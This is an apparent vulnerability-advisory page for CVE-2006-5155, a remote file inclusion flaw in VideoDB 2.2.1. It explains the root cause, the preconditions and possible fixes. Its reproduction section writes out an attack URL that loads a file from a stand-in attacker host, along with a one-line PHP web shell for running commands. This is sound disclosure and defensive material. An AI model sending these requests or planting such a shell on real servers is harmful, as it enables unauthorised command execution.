VYPR
Unrated severityNVD Advisory· Published Oct 5, 2006· Updated Jun 16, 2026

CVE-2006-5155

CVE-2006-5155

Description

PHP remote file inclusion vulnerability in core/pdf.php in VideoDB 2.2.1 and earlier allows remote attackers to execute arbitrary PHP code via the config[pdf_module] parameter.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

4
  • Videodb/Videodb4 versions
    cpe:2.3:a:videodb:videodb:2.0.0:*:*:*:*:*:*:*+ 3 more
    • cpe:2.3:a:videodb:videodb:2.0.0:*:*:*:*:*:*:*
    • cpe:2.3:a:videodb:videodb:2.0.2:*:*:*:*:*:*:*
    • cpe:2.3:a:videodb:videodb:2.2.1:*:*:*:*:*:*:*
    • (no CPE)range: <=2.2.1

Patches

Vulnerability mechanics

Root cause

"Unvalidated user input passed to `define()` and `require_once` allows remote file inclusion."

Attack vector

An attacker sends an HTTP request to `core/pdf.php` with the `config[pdf_module]` parameter set to a URL pointing to a remote PHP shell. The script passes this user-supplied value directly into a `define()` call and then uses it in a `require_once` statement, causing PHP to include and execute the attacker's remote file. No authentication is required, and the only precondition is that the target server has `allow_url_include` enabled in PHP configuration [ref_id=1].

Affected code

The vulnerable file is `core/pdf.php` in VideoDB 2.2.1 and earlier. The exploit write-up [ref_id=1] shows the code defines `FPDF` using the unsanitized `$config['pdf_module']` value, then calls `require_once FPDF.'/fpdf.php'`, allowing an attacker to control the included file path.

What the fix does

No official patch is included in the bundle. The advisory [ref_id=1] does not describe a fix. To remediate, the application should validate that `$config['pdf_module']` is a local path within an expected directory, rather than accepting an arbitrary URL or filesystem path. Disabling `allow_url_include` in PHP configuration would also block this specific remote file inclusion vector.

Preconditions

  • configPHP's allow_url_include must be enabled on the target server
  • authNo authentication required; the vulnerable endpoint is publicly accessible
  • networkAttacker must have network access to the target web server
  • inputAttacker supplies the config[pdf_module] parameter via GET or POST

Reproduction

1. Identify a target running VideoDB 2.2.1 or earlier. 2. Send a request to `http://target/path/core/pdf.php?config[pdf_module]=http://attacker.com/shell.txt?` where `shell.txt` contains PHP code (e.g., `&lt;?php passthru($_GET['cmd']);?&gt;`). 3. The server will include and execute the remote file, allowing command execution via the `cmd` parameter [ref_id=1].

Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.